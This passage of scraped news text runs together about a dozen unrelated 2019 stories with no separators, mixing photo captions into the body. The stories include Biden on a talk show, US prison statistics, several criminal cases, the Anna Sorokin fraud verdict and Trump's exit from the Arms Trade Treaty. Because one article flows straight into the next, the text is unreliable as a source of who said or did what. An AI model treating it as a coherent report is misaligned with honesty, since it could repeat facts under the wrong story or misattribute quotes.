declaring the race against President Trump a fight for the 'soul' of the country. The famously 'tactile' Biden walked onto the set to applause and hugged each of the female hosts, before the show promptly cut to commercial. When he was asked about the looming issue, he said even his entrance was something he had to think through in advance. Anita Hill, now a Brandeis University professor, acknowledged Thursday that Biden had reached out to her to express regret for how the Senate Judiciary Committee, which he then chaired, dismissed her sexual harassment claims against Justice Thomas; but she said he hasn't done enough to personally take responsibility for railroading her along with 13 other white men who made up the committee at the time Hill told senators and a national TV audience in the hearings 28 years ago that she was 'embarrassed and humiliated' by unwanted, sexually explicit comments made by Thomas when she worked for him a decade earlier 'I actually thought in my head when I walked out here: Do I? We're friends,' he said. 'I have to be, and everybody has to be, much more aware of the private space of men and women,' Biden explained. 'I am much more cognizant of that.' But Biden refused to say he was sorry, even when confronted with Speaker Nancy Pelosi's admonition: that 'To say I'm sorry you were offended is not an apology. It's: ' I'm sorry I invaded your space,'' Pelosi said. 'I have to be more careful and including whether I sit down next to somebody and I was not invited to sit down. That's my responsibility,' he said. 'I have to be more aware. It's totally legitimate for someone not to have to say, 'No, no, don't get into my private space,' he continued. 'It's my job. It's my job to read, 'No, no, this is space no one wants me to invade.' Biden also responded to President Trump, who boasted about his own energy and called Biden 'sleepy.' Trump, 72, on Friday called himself a 'young, vibrant man.' 'Look, if he looks young and vibrant compared to me, I should probably go home. Look, everybody knows who Donald Trump is. The best way to judge me is to watch. See if I have the energy and the capacity,' Biden, 76, said. OUTNUMBERED: Biden said if Trump sounds young and vibrant compared to him, 'I should probably go home' In this Sept. 9, 2012 file photo, Vice President Joe Biden talks to customers, including a woman who pulled up her chair in front of the bench Biden was sitting on, during a stop at Cruisers Diner in Seaman, Ohio Vice President Joe Biden stands with Stephanie Carter, wife of incoming Defense Secretary Ash Carter, right, during Carter's swearing in ceremony, Tuesday, Feb. 17, 2015, in the Roosevelt Room of the White House in Washington. Carter, 60, is President Barack Obama's fourth secretary of defense. Stephanie Carter wrote an op-ed in Biden's defense, saying he was soothing her nerves Biden also explained his comment that he had asked President Obama not to endorse him. He is already tying himself to the former president who named him as he seeks to capitalize on frontrunner status early in the campaign. 'I'm going to do this based on who I am and not by the president going out and saying 'This is the guy you should be with,'' Biden explained. 'I didn't want it to look like he was putting his thumb on the scale,' he said. Richard Goodwin, 65, of Dunedin, Florida, was arrested Thursday and charged with abuse and neglect of the disabled A Florida caregiver has been arrested for the abuse and neglect of a 67-year-old disabled woman. Richard Goodwin, 65, of Dunedin, was charged Thursday after sheriff's deputies arrived at the bedridden woman's home to discover it filled with rotting trash and feces. Officers also found 10 emaciated dogs and five Macaw birds flying freely around the residence. Pinellas County Sheriff's Office say there were also rats, cockroaches, spiders and black mold throughout the home. Toilets inside the property were not working, and were reportedly overflowing with urine and feces. Deputies were forced to don masks when entering the home in order to deal with the overwhelming stench. The sheriff's office claims that the bedridden woman, who was a hoarder, did not have access to food, and her rescuers were forced to clear a pathway through mounds of rubbish just to reach her. She was taken to hospital with non life-threatening injuries. Two of the 10 dogs were discovered living in a plastic bin filled with inches of their own feces The pooches were rescued by the Pinellas County Animals Services Meanwhile, two of the 10 dogs were discovered living in a plastic bin filled with inches of their own feces. They were rescued by the Pinellas County Animals Services. Goodwin was living with the elderly woman at the home, but their relationship to one another has not been disclosed. He has previously been charged for neglecting the same woman on May 6, 2018. A court date in relation to that case had been pending for May 1 of this year. Neighbors told Fox 13 that the pair were hoarders and had been for several years. Despite bipartisan efforts to reform the criminal justice system and reduce the length of sentences, the number of people in American prisons has seen only a slight decline in recent years, according to data from the federal Bureau of Justice Statistics. The imprisonment rate for all state and federal prisoners decreased 2.1 percent year-on-year in 2017, the most recent year for which data is available. In 2017 there were 440 sentenced prisoners per 100,000 Americans, down from 450 in 2016. Despite the overall decline, the U.S. remains the nation with the largest known incarcerated population in the world (it's unclear how many prisoners are in China). This graph illustrates the incarceration rate in America from 1978-2017, the most recent year for which data is available. The rate is measured by how many prisoners the U.S. has per 100,000 Americans. Source: Bureau of Justice Statistics Overall, the state and federal prison population decreased by 18,700 prisoners from 2016-2017, to a total of 1,489,400 at the end of 2017 a 1.2 percent decrease. Changing the trend in any significant way will require major reforms, according to The New York Times. 'If we keep working on the kinds of criminal justice reforms that we're doing right now, it's going to take us 75 years to reduce the population by half,' said Rachel Barkow, a sentencing expert at New York University School of Law and author of 'Prisoners of Politics: Breaking the Cycle of Mass Incarceration.' 'The kinds of reforms we're seeing now are really modest,' she told The New York Times. 'I'm glad were getting them. But this is not transformative yet.' The overall incarceration rate in the U.S. has declined 13 percent since 2007, but still remains 236 percent higher than it was in 1978. The decrease over the past decade was largely thanks to a 2014 decision by the U.S. Sentencing Commission to reduce sentencing guidelines for drug crimes a change that accounts for about a third of the decline from 2016-2017. However, a disparity remains from one state to the next in the prison and jail populations: some have seen significant reductions, while others continue to see the number of incarcerated people climb year after year. Nearly half of U.S. adults have had a relative in jail or prison Nearly half (45 percent) of all American adults have an immediate family member who has been incarcerated, according to a new report. That amounts to roughly 113 million people who have been touched by mass incarceration in the United States, according to the survey of 4,041 Americans. The research was done by FWD.us, a non-profit established by American business and tech leaders advocating for criminal justice and immigration reform, in partnership with Cornell University. Right now, an estimated 6.5 million Americans have an immediate family member in jail or prison. And U.S. jail and prison populations have swelled to four times what they were in 1980, with about 1.5 million people in state and federal prisons on any given day in America. Advertisement New York, New Jersey and Connecticut all saw significant drops, largely due to policy changes. For example, some states have reclassified some crimes that were previously felonies as misdemeanors, while others have given sentencing judges more discretion. California stands apart for having one of the biggest reductions in the past 10 years, which was the result of a U.S. Supreme Court order in 2011 that the state must remove 30,000 inmates from its overcrowded prison system. The state still had the second-highest number of incarcerated people in the nation (131,039) in 2017, behind only Texas (162,523). Florida ranked third, with 98,504 incarcerated people in 2017. Nationwide, 55 percent of state prisoners were serving sentences for violent offenses by the end of 2016, according to the Bureau of Justice Statistics. That's despite a dramatic drop in the nation's violent crime rate an indication that America has such a large prison population not just because it locks so many people up, but because it keeps them incarcerated for longer periods of time. The U.S. accounts for roughly 4 percent of the world's population, though it has more than a third of the people serving sentences worldwide, according to an international survey entitled, 'Life Imprisonment: A Global Human Rights Analysis.' As prisoners age within the system, the cost of caring for them grows and more than 10 percent of inmates were age 55 or older in 2017. Racial disparities in the prison population persist, though the rate of African Americans in prison decline by nearly a third in the past 10 years. Still, African American men serve prison sentences at almost six times the rate of white men, while black women are incarcerated at roughly double the rate of white women. A mother who used her own teenage son to push Class A drugs onto the streets of a seaside town was labelled an 'utter disgrace' by a judge. Mary Jane Wilson, 39, was jailed for over four years after she recruited her son, Mason, then just 17, to help supply heroin and cocaine onto the streets of Skegness. Judge John Pini QC told Wilson that Mason had literally been brought up in a 'drugs den.' Mother Mary Jane Wilson, 39, (left) who used her teenage son, Mason (right), then just 17, to push Class A drugs onto the streets of Skegness was labelled an 'utter disgrace' by a judge as she was jailed for more than four years Passing sentence at Lincoln Crown Court the judge said: 'This offending is seriously aggravated by the fact that she involved her teenage son. 'Her parenting, if that is the right word, of that boy is an utter disgrace. 'Mason had a very troubled childhood and was undoubtedly failed by his mother. 'He began using drugs at 14. It is plain that at the hands of his mother he has been given a shocking start in life and was exposed to drugs at an early age. 'He was quite literally brought up in a drug den.' The judge said that Mary Jane Wilson was at the heart of the drug dealing offering to supply customers on a 24/7 basis. The judge said that Mary Jane Wilson was at the heart of the drug dealing offering to supply customers on a 24/7 basis. Wilson's partner Jack Mahl (left), 24, was jailed for three years. Matthew Parsley (centre), 28, and Steven Barnes, 43, were each jailed for four years for their role in the drug dealing Wilson was previously jailed for five and half years in October 2013 for supplying heroin. The judge added 'This was organised street dealing pursued methodically and enthusiastically. ' Mary Jane Wilson, 39, formerly of Skegness and now of no fixed address, was jailed for four years and seven months after admitting conspiracy to supply heroin and cocaine. Wilson's partner Jack Mahl, 24, was jailed for three years. Mason Wilson, 19, of Sundial Way, Skegness, was given 16 months at a young offenders' institution. Matthew Parsley, 28, of Low Edges Crescent, Sheffield; and Steven Barnes, 43, of no fixed address, were each jailed for four years. Judge John Pini QC said: 'This offending is seriously aggravated by the fact that she involved her teenage son. 'Her parenting, if that is the right word, of that boy is an utter disgrace' Katy Murray, 25, of Firbeck Avenue, Skegness; was given a 15 month jail sentence suspended for two years. Five of the defendants admitted conspiracy to to supply drugs between July and September 2017. Barnes denied conspiracy but was found guilty by a jury following a trial. Andrew Peat, prosecuting, said Mary Jane Wilson was 'the hub' of a drug supply operation dealing with customers in Skegness, Ingoldmells and Mablethorpe. During a three month period she was chauffered by Barnes taking drugs to her customers and to Sheffield where she restocked with supplies. The extent of the drug trade was revealed by an under cover police operation. During the covert operation the officers were offered drugs by Mary Jane Wilson who then supplied them. At the end of the case Judge Pini praised the work of the under cover officers saying 'The public owe a debt of gratitude to them. 'They put themselves repeatedly in a dangerous position. They are deserving of the highest praise.' Libya is ready to extradite the brother of the Manchester Arena suicide bomber to the UK - but wont until the fighting stops in the country. Hashem Abedi is the younger brother of Salman Abedi - who carried out the terror attack in May 2017, killing 22 people, more than half of whom were children, and injuring 139. The 21-year-old is a suspect in that atrocity and is currently being held in Mitiga Prison in the capital Tripoli. Hashem Abedi (pictured), brother of Manchester bomber Salman Abedi, will be extradited from Libya to the UK, the country's interior minister said The Libyan Interior Minister Fathi Bashagha told the BBC the facility is secure despite the fighting in and around the city. The full inquest into the suicide bombings, which took place at an Ariana Grande concert, had been delayed pending a criminal probe into Hashem. But Bashagha today confirmed that he will be returned to the UK. The government had agreed to hand over Hashem just before fighting broke out last month, the BBC reported. Hashem Abedi (pictured) is currently being held in a prison in Libya's capital Tripoli. Fighting between rival militias in the city has delayed his extradition The extradition process will now begin as soon as the security situation in Libya has stabilized. The ongoing conflict has raged between rival militias since a military commander launched an offensive earlier this month. The self-styled Libyan National Army, led by Field Marshal Khalifa Hifter, are battling rival militias allied with a weak, U.N.-supported government. The World Health Organization says the fighting has killed more than 270 people, including civilians, and wounded nearly 1,300. It says more than 30,000 people have been displaced. The second anniversary of the May 22 Manchester bombing is approaching, and friends and family of the victims had all but lost hope of justice. A Massachusetts judge has left court in tears after being indicted on obstruction of justice charges for allegedly helping an illegal immigrant evade immigration officials. Judge Shelley M Richmond Joseph and trial court officer Wesley MacGregor are accused of conspiring to prevent Immigration and Customs Enforcement (ICE) from taking an undocumented immigrant into custody at Newton District Court on April 2, 2018. Joseph had allegedly ordered the courtroom recording device to be turned off for 52 seconds while she and the defendant Jose Medina-Perez's lawyer had a conversation about getting him out of the courthouse instead of handing him over to an ICE officer, according to the indictment. MacGregor allegedly used his access badge to release Medina-Perez through a rear door. Joseph was seen crying when she left federal court in Boston Thursday. According to CBS, Joseph's attorney Tom Hoopes said outside court: 'This prosecution is absolutely political, Shelley Joseph is absolutely innocent.' District Court Judge Shelley M. Richmond Joseph was seen crying when she left federal court in Boston Thursday Joseph is facing obstruction of justice charges for allegedly helping a man in the country illegally evade immigration officials as he left her Newton, Mass., courthouse after a hearing in 2018 Joseph also faces obstruction of a federal proceeding charge, according to the indictment. The American Civil Liberties Union also released a statement alleging the charges were the result of President Donald Trump's 'anti-immigrant agenda'. Massachusetts Attorney General Maura Healey deemed that the prosecution was a 'radical and politically-motivated attack on our state and the independence of our courts'. Medina-Perez, who had been deported on two prior occasions, was arrested four days earlier for drug possession and being a fugitive from justice in Pennsylvania. Medina-Perez remains at large. ICE became aware of his arrest after his fingerprints were processed and an order was issued for a federal immigration detainer. Medina-Perez (seen above), who had been deported on two prior occasions, was arrested four days earlier for drug possession and being a fugitive from justice in Pennsylvania. He remains at large Prosecutors say Joseph participated by creating a pretext for the defendant to be brought downstairs for 'further interview' so he could be released through that door, the indictment said. She is seen leaving court yesterday To view this video please enable JavaScript, and consider upgrading to a web browser that supports HTML5 video Hearst Privacy Policy Prosecutors say Joseph participated by creating a pretext for the defendant to be brought downstairs for 'further interview' so he could be released through that door, the indictment said. Massachusetts US Attorney Andrew Lelling announced the charges against Joseph and MacGregor on Thursday. 'The allegations in today's indictment involve obstruction by a sitting judge, that is intentional interference with the enforcement of federal law, and that is a crime,' Lelling said. 'We cannot pick and choose the federal laws we follow, or use our personal views to justify violating the law.' Joseph and MacGregor face charges of obstruction of justice, conspiracy to obstruct justice and obstruction of a federal proceeding, according to the indictment. MacGregor is also charged with perjury on suspicion of giving false testimony to a federal grand jury that was reviewing the case. Joseph and trial court officer Wesley McGregor allegedly conspired to sneak undocumented immigrant Jose Medina-Perez out of the Newton County courthouse (above) on April 2, 2018 ICE issued a statement following Joseph's indictment. Todd M. Lyons, acting field office director of ICE's enforcement and removal operations in Boston, said: 'The actions of the judge in this incident are a detriment to the rule of law and highly offensive to the law enforcement officers of ICE who swear an oath to uphold our nation's immigration laws. 'In order for our criminal justice system to work fairly for all people, it must be protected against judicial officials who would seek to replace the implementation of our laws with their own ideological views or politically-driven agenda. I would also like to thank U.S. Attorney Lelling for his local leadership and his continuous and faithful support of the ERO law enforcement mission.' An Indiana teenager has been jailed for 100 years for molesting more than 20 little girls while working at a YMCA and in an elementary school. Michael Begin Jr., 19, was sentenced on Friday after admitting 20 counts of child molestation. According to prosecutors, he molested girls between the ages of three and eight, using his position as a teaching assistant to abuse them. The teenager was a high school senior when he was initially arrested in October 2017. Michael Begin Jr., 19, was sentenced on Friday after admitting 20 counts of child molestation. He is shown afterwards. He is pictured being escorted out of court by his lawyer He was at first facing charges for two six-year-old girls who said he had molested them but more victims later came forward. They described how 'Mr Michael' touched them inappropriately in the hallways, libraries and playgrounds of the school and YMCA between 2016 and 2017. He was originally charged with 27 counts but seven were dropped in exchange for a guilty plea. On Friday, the teen made a brief apology to his victims and said he was sorry for the pain he had caused. It did nothing to comfort the incensed parents of the girls he abused, some of whom had gone to court to share their fury and dismay. Begin Jr., shown in his 2017 mugshot, was working in a YMCA and an elementary school when he carried out the abuse One told how she felt like she had failed as a mother by putting her child in his hands. 'As a parent, you want to protect your children. I felt like a failure as a mother. I didn't realize I was turning her over to a monster,' she said. Since the abuse, the girls have suffered eating disorders and nightmares, their parents said. One regularly wakes up screaming: 'Michael stop! Leave me alone!' Another cannot listen to the YMCA song without being traumatized, her mother said. Another parent told how her daughter had told her: 'I hope he never gets out of jail, mommy.' The teenager's lawyers said they expected a lesser sentence. They claimed that despite him pleading guilty, he thought he would be given a lighter jail term. Prosecutors said they were happy with the decision. 'I hope this sends the message that if you molest a child, you're going to go to prison,' Clark County Prosecutor Jeremy Mull told The Courier Journal. Detectives are hunting a sex attacker who abducted two women in their 20s off the street and raped them in a seemingly random and 'extremely rare' attack. The two women were abducted separately by a 'muscular' white male suspect in a car and subsequently raped, one of them being held for over 12 hours. They were taken 12 hours apart and from locations 15 miles apart before escaping yesterday afternoon after a broad daylight struggle in Watford. The first victim was abducted from a street in Chingford, north East London on Thursday, around 12.30am. Officers are now urgently appealing for information and witnesses to come forward (stock) The second victim was abducted 12 hours later from a street several miles away in Edgware, North London at 12.15pm on Thursday. Both women, who are aged in their 20s, managed to escape from the suspect following a struggle in Osborn Road, Watford around 2.30pm. They are now receiving support from specialist officers. The police are now urgently appealing for information and witnesses to come forward. The suspect is described as a white man of muscular build. Detectives from the Homicide and Major Crime Command have now launched an investigation supported by other specialist and local officers. Detective Chief Inspector Katherine Goodwin who is leading the shocking case said: 'This was a terrifying ordeal for both women who were abducted by the suspect in separate areas. 'At this stage there is nothing to suggest either victims were specifically targeted for any reason, but both appear to have been selected at random. Both women, who are aged in their 20s, managed to escape from the suspect following a struggle in Osborn Road, Watford 'A number of active leads are being followed up urgently including reviewing CCTV footage and forensic analysis. We are also working closely with our colleagues in Hertfordshire to establish what links the suspect may have in that area. 'Stranger attacks like this are extremely rare. That being said, I would urge everyone in these areas to remain vigilant and report anything suspicious to police immediately via 999.' * Anyone with information concerning this incident is asked to call police on 101 or tweet @MetCC and quote CAD 3041/25Apr or Crimestoppers anonymously via 0800 555 111. The father of fake heiress Anna Sorokin has disowned her, telling DailyMailTV: 'It's down to her what she has done.' Vadim Sorokin spoke at her family home in a small industrial town in Germany as his daughter, 28, waits to learn her sentence after being found guilty of swindling tens of thousands of dollars from banks, hotels and friends that she used to bankroll a lavish New York lifestyle. She was convicted on Thursday night in Manhattan following a month-long trial on three counts of grand larceny, one count of attempted grand larceny and four counts of theft of services. Sorokin - who posed as Anna Delvey - was acquitted on one charge of attempted grand larceny for trying to obtain a $22million loan from one bank and one charge of grand larceny for allegedly stealing $62,000 from a friend during a trip to Morocco. She will be sentenced May 9 and faces up to 15 years behind bars. She also faces deportation to Germany because authorities say she overstayed her visa. But in Germany, Sorokin may not find such a warm welcome from her parents and teenage brother in the town of Duren, close to Eschweiler, where the family moved in 2007 from her native Russia. Her father told DailyMailTV: 'I really do hope my daughter finds what she is looking for, whatever it is. 'I do not have any influence on her life and what she does. It is down to her what she has done and it is something I am not comfortable to talk about.' Fake German heiress Anna Sorokin was found guilty on Thursday by a Manhattan jury of swindling tens of thousands of dollars from banks, hotels and friends that she used to bankroll her lavish lifestyle Anna's mother is pictured arriving to her home in Duren, close to Eschweiler, Germany, where the family moved in 2007 from her native Russia Her father Vadim Sorokin has disowned her, telling DailyMailTV: 'It's down to her what she has done' and saying Anna even borrowed money from them Her father had earlier told a Russian newspaper that far from benefiting from her fraud, she had even borrowed from them. 'Before her detention we knew nothing about her life in US,' he told Komsomolskaya Prava. 'Our daughter has never sent us any money. On the contrary, she was borrowing. Of course we are very concerned about her.' But he stressed: 'She has a selfish personality, we can't do anything about it. We raised her well. 'I don't know, it comes from nature. Naturally, she is guilty to certain extent. We are aware of the situation but it is too early to talk about anything.' Sorokin's history in Germany and Russia is in stark contrast to the lifestyle she lived in New York, where she was 'everywhere' on the social scene, hopping between fashionable venues and staying in prestigious hotels, claiming to be a wealthy German heiress, running up unpaid bills and leeching off people who thought she was their friend. In fact she was born in January 1991 in what was then the Soviet Union, in the south-eastern Moscow suburb of Domodedovo, close to the city's secondary airport. Her father was a truck driver, and Anna - known as Sorokina, in the Russian style of feminizing surnames - was a bright and ambitious child. She was known familiarly as Anka, the diminutive of Anna, and her surname is common in Russia, derived from the word for magpie. Anastasiya, a classmate, told Komsomolskaya Prava: 'Anna and I were best friends from the second year at school. She was an excellent pupil.' This map shows Anna Sorokin's, known in New York as Anna Delvey, progress around Europe from being born in Soviet Russia right before she set her eyes on the US This is the home the Sorokin family rent $200,000 in Duren - hardly the type of property an heiress worth $60million would call home Anna's mother refused to comment to DailyMailTV about her daughter, instead her teenage brother answered the door wearing a NYC T-shirt but his parents were not home before his mother shut the front door She excelled, her classmate said, in foreign languages, Russian language and literature, taking extra lessons in English, German and French as well as dancing after school. She had excellent grades and was an honors student, and by the time she was a teenager, it was clear exactly what she wanted to do with her life. 'She always loved fashion and bought glossy magazines from the age of 13,' said Anastasiya. 'She didn't want to be a model, she wanted to be a [magazine columnist]. 'Our favorite film was Mean Girls. She liked that they were mean, she and I were the brightest and the most popular at school, she found similarities between us and the film characters.' Her father was developing links with Germany thanks to his job and in 2007, he moved the whole family to Eschweiler, between Cologne and the German-Dutch border. If Anna had thought it was the glamour she was looking for, she would have been disappointed. A drab town that was heavily bombed during the Second World War it boasts several small castles and a tired looking shopping center that was built in the 1960s. The family home was a two-story house built in the grounds of the NKS transport company where Vadim first worked, then became an executive. It has since been pulled down and the company became insolvent in 2013. All that remains of the NKS depot are the wrought iron gates at the entrance. The Sorokins' former home is close to Bischoflieche Libfrauenschule, the Catholic school that Anna attended from the age of 16 to 18. It seems to have been less happy than her time in Russia; ironically given her future claims of German wealth, she struggled with the language. Other students nicknamed her perhaps uncharitably Barbie for her love of clothes. Sorokin was acquitted on one charge of attempted grand larceny for trying to obtain a $22million loan from one bank and one charge of grand larceny for allegedly stealing $62,000 from a friend during a trip to Morocco Sorokin reacts on Thursday as the jury found her guilty on three counts of grand larceny, one count of attempted grand larceny and four counts of theft of services This is Eschweiler, Aachen (Germany) where Anna Sorokin attended the high school and where her father has a business installing underfloor heating The Sorokins' former home is close to Bischoflieche Libfrauenschule, the Catholic school in Eschweiler that Anna attended from the age of 16 to 18 (pictured) HOW ANNA MANAGED TO SECURE MONEY: Sorokin sought a $22 million loan from Fortress Investment Group in 2017 to fund her arts club after showing the private equity firm fake documents claiming she had a 60 million euro fortune. They said they would consider it if she put up $100,000 for them to do due diligence, which is basically a background check of her financial records. She managed to get a $100,000 from a different bank, City National, by convincing them to give her an overdraft that she promised to repay within days. Sorokin then gave the $100,000 to Fortress. They spent $45,000 of it carrying out their financial review before Sorokin asked for $55,000 back, claiming she no longer needed their services. She never repaid City National. Instead, she managed to spend the entire $55,000 within a month to fund her lavish lifestyle. She also resorted to depositing bad checks and transferring funds out before they bounced - a process called check kiting. This is how she got the $30,000 to pay 11 Howard via a wire transfer. Between April 7 and April 11, she deposited $160,000 in bad checks into her Citibank account and transferred $70,000 out before they bounced. In August, she opened a different account with a different bank, Signature, deposited $15,000 in bad checks and withdrew $8,200 before they bounced. Advertisement In a school yearbook, others wrote about her: 'Best brands are just not good enough.' One friend told DailyMailTV: 'She always had a taste for good clothes and shoes.' Until now most accounts of her life have said that she left Germany to move to London, to study at the prestigious Central St Martins College of Art. In fact DailyMailTV can reveal that she was offered a place there, and turned it down. A spokesman for the school said she did not attend, having been accepted to study. It is unclear if her parents believed she was there. Her father told New York Magazine earlier this year: 'We always paid for her accommodations, her rent, and other matters.' She headed, instead, to Berlin, and in 2012 was interning there at a fashion P.R. company. The following year, she was in Paris, working as an intern at Purple magazine and calling herself, for the first time, Anna Delvey. That year her parents and her younger brother moved from Eschweiler to nearby Duren, where they now live. They rent a $200,000 home sandwiched between light industrial united - hardly the type of property an heiress worth $60million would call home. A letter box has bears the family name and that of her father's business, installing underfloor heating. While the business, Califique, is successful it is unlikely to have generated the sums of money Anna was spending in New York as she moved in the art world circles. Neighbors said the couple were not particularly friendly and were not known at the local bakery less than 100 yards from their home. One neighbor said: 'You will only ever see them when they leave the house and when they come back from work. 'I have never seen their daughter and I have never heard her spoken about.' She has also apparently cut ties to Moscow, with friends there saying they believe she returned a couple of times to visit her grandmother and uncle. Many believed Anna was the German heiress she claimed to be given she traveled in celebrity circles and tossed around crisp $100 bills, pictured during her high-life days People around her say they didn't even think twice when she asked them to put taxi fares and plane tickets on their credit cards. She would often blame her situation on issues with moving her assets across from Europe In Germany, when DailyMailTV called at the family home Anna's teenage brother answered the door. He wore a NYC T-shirt but said he had never visited the city. The teen proved to be as skilled a liar as his elder sister as asked if his parents would speak to Daily MailTV he insisted they were at work. Moments later his father Vadim hurried from the house while his wife stomped down the stairs and forcibly shut the front door while shouting in German: 'Get out, go away.' Vadim later spoke to DailyMailTV from the front seat of his car as he drove to work but declined to say more. He had told Komsomolskaya Prava that bank staff and others who gave her loans were 'guilty' too, stating: 'They wanted to use everything for their benefit. 'They were ''taking'' in money, they were simply flying with her - went somewhere with her, got many things for free. 'And now they are trying to portray themselves as all white and fluffy.' In Moscow, her friend Anastasia told: 'Her U.S. story was a shock for me. How much did she want a beautiful life? 'I think she did it because she succeeded once - and then she got used to it and wanted more and more.' Felipe Oquendo, 37, who admitted he was smoking meth earlier in the day, attacked a bedroom mattress with a bed post and his bare hands, believing a man was hiding inside it An apparently hallucinating Florida man used a bedpost and his bare hands to rip apart a mattress where he thought a man was hiding. According to a post on Okaloosa County Sheriffs Offices Facebook page, officers were called to a home on Willow Bend in Fort Walton Beach at around 1.10am Friday to a report of a domestic disturbance. A woman said her 37-year-old boyfriend, Felipe Oquendo, began acting erratically overnight. The girlfriend told deputies Oquendo believed she was cheating on him with a man he thought he saw in the mattress in their bedroom. She said Oquendo stabbed the mattress with a bedpost, tore it apart and locked the bedroom door so she could not leave. While Oquendo was moving the mattress around, his girlfriend was able to escape and call police. When interviewed by deputies, Oquendo said he was fighting the man in the mattress and holding him down when they arrived, but the man managed to slip out. Oquendo, who suspected his girlfriend of cheating on him with the man in the mattress, allegedly locked the bedroom door to prevent the woman from leaving Oquendo has a long history of arrests in both Georgia and Florida dating back to at least 2001 (pictured in a January 2019 mugshot) The sheriff's office says Oquendo later admitted to having smoked meth. His girlfriend was not harmed during the incident. Oquendo was booked into the county jail on charges of domestic violence related false imprisonment and possession of drug paraphernalia stemming from the discovery of a glass pipe in his possession. Records indicate that Oquendo has a long history of arrests in both Georgia and Florida dating back to at least 2001, including on charges of aggravated assault, cruelty to children and battery. President Donald Trump on Friday announced at the National Rifle Association's annual meeting that the United States will drop out of an international arms treaty signed in 2013 by then-President Barack Obama but opposed by the NRA and other conservative groups. Trump told members of the gun lobby that he intends to revoke the status of the United States as a signatory of the Arms Trade Treaty, which was never ratified by the U.S. Senate. 'We're taking our signature back,' Trump said to thousands of cheering attendees, many wearing red hats emblazoned with the Republican president's 'Make America Great Again' slogan. 'Under my administration, we will never surrender American sovereignty to anyone, Trump said, before signing a document on stage asking the Senate to halt the ratification process. 'We will never allow foreign diplomats to trample on your Second Amendment freedom.' Home crowd: Donald Trump was in upbeat mood as he used an appearance at the NRA's annual forum to say he was pulling the U.S. out of a gun trade treaty long opposed by the lobby group Conspiracist: The crowd included this man whose shirt voices support for the Q-Anon conspiracy theory as well as for the president Ovation: Trump's speech to the NRA brought one man to his feet at the convention in Indianapolis, Indiana MAGA country: Hats at the NRA gathering left little doubt about who they support as they waited for the president to speak Ovation: The NRA crowd gets to its feet at the gun lobby group's annual convention Pledge of allegiance: The crowd stood to recite the pledge before the arrival of Donald Trump Happy to be here: Donald Trump takes to the stage at the NRA's annual leadership forum where he announced a crowd-pleasing measure pulling the U.S.'s signature from an international treaty on the arms trade The NRA has long opposed the treaty, which regulates the $70 billion business in conventional arms and seeks to keep weapons out of the hands of human rights abusers. The lobbying group argues it would undermine domestic gun rights, a view the Obama administration rejected. Trump said the United Nations would soon receive formal notice of the withdrawal. The NRA spent $30.3 million in support of Trump's 2016 presidential campaign, according to the Center for Responsive Politics, a group that tracks campaign spending. The 193-nation U.N. General Assembly overwhelmingly approved the treaty in April 2013 and the United States, the world's No. 1 arms exporter, voted in favor of it despite fierce opposition from the NRA. Trump's action drew an immediate rebuke from international human rights groups. 'The United States will now lock arms with Iran, North Korea and Syria as non-signatories to this historic treaty whose sole purpose is to protect innocent people from deadly weapons,' said Oxfam America President Abby Maxman. Adotei Akwei, of Amnesty International USA, said in a statement: 'With this announcement the Trump administration will re-open the floodgates for arms sales with weakened human rights criteria.' So far 101 countries have formally joined onto the treaty. Another 29, including the United States, have signed it, but not yet formally joined. Ted Bromund, senior research fellow at the conservative Heritage Foundation, said the treaty 'can only have the perverse effects of driving potential importers to buy from China or Russia' and other nations that are not party to the agreement. Trump was joined on his trip to the NRA's meeting in Indianapolis by White House national security adviser John Bolton, an advocate of withdrawing the United States from international treaties out of concern they might undermine U.S. authority. With Friday's announcement, Trump continued his drive to roll back Obama-era initiatives. Nearly two years ago, Trump announced that the United States would withdraw from the Paris Climate Agreement, which aims to reduce global carbon emissions that scientists link to harmful climate change. Supporters: Trump posed with NRA-ILA executive director Chris Cox, left, and executive vice president Wayne LaPierre (right) before speaking at the NRA convention Supporters: This Trump backer left no room for doubting what he thinks of the president Standing for the anthem: The annual convention for the NRA opened with the pledge and The Star Spangled Banner Meme of support: Chris Cox, the NRA's executive director, had a mocked-up picture of Joe Biden and Jussie Smollett projected behind him as he spoke In the hall: The NRA's 148th annual meeting is taking place in Indiana, Indianapolis USA: Among the guns on sale were Henry rifles, which boast of their American status Not so USA: Also on sale were versions of Russian-designed AK platform rifles Trophy: A stuffed deer head was among the items on display outside the convention hall More trophies: Stuffed lions' heads were on show in the outfitters' section of the convention hall See our wares: Rifles on display at the Heckler & Koch stand at the NRA's annual convention in Indianapolis, Indiana Bumper sticker stand: Proud NRA members can buy more than just guns, with decals for cars and other souvenirs on sale outside the main convention hall Republicans argue the U.S. economy would suffer if it met the deal's carbon-reduction goals. In May, 2018, Trump pulled the United States out of a 2015 international deal that eased sanctions on Iran in exchange for strict limits being placed on Iran's nuclear activities. The United States has since reimposed some sanctions that had been suspended under the deal. Friday's speech marked the third consecutive year Trump has spoken to the annual meeting of the NRA. Since his election, he has been a vocal proponent of gun rights, a position that plays well with his political base. Trump has vowed never to infringe on the right to own guns enshrined in the Second Amendment to the U.S. Constitution, which he said on Friday was 'under assault' by Democrats. Trump banned 'bump stocks' - rapid-fire gun attachments used in the October 2017 mass shooting that killed 58 people at a country music festival in Las Vegas. But he sidestepped tough restrictions he considered after the February 2018 shooting at a high school in Parkland, Florida, in which 17 people were killed and embraced an NRA proposal for arming teachers to defend schools. A town in the Philippines has taken the draconian step to ban gossip - and residents who do spread rumours are fined $10 and forced to pick up litter. Binalonan, in the province of Pangasinan, north of the capital Manila, has made the move in time for next month's local elections. It has been driven by the town's mayor, Ramon Guico, who dismissed gossip, or chismis, as Filipinos call it, as a 'waste of time'. He told the Wall Street Journal that the ban would improve the quality of life in the town. Mr Guico said that rumours spread more in the summer, because people chat under trees to avoid the hot sun, where the discussion then moves to who is cheating on their partner or getting into debt. 'It's such a waste of time. You'd think people would have something better to do,'he added. For a first offence, residents of the town, which has a population of around 55,000 people, are fined 500 pesos, or around $10, followed by an afternoon of picking up litter. The neighbourhood of Moreno in the town was the first to bring in a ban in 2017. Local council leader Jovelyn Manaois is responsible for investigating those accused of breaching the ban. When offenders are found guilty, she decides which penalties to hit them with. 'We haven't had to punish anyone for a second offence,' she said. 'No one wants to be seen as a gossipmonger.' But with many of Binalonan's leaders running for office in elections next month, Ms Manaois has become the target of rumours that she is secretly wealthy and able to give cash to those in need. 'Whatever gave them that idea? I'm not rich,' Ms Manaois said. Resident Jun Garcia was caught out by the new laws and given a warning when he was caught talking about a family that was allegedly in debt. Defending himself, he said: 'I was just repeating something I heard from someone else.' But Ms Manaois said that anyone caught spreading rumours is punished, not 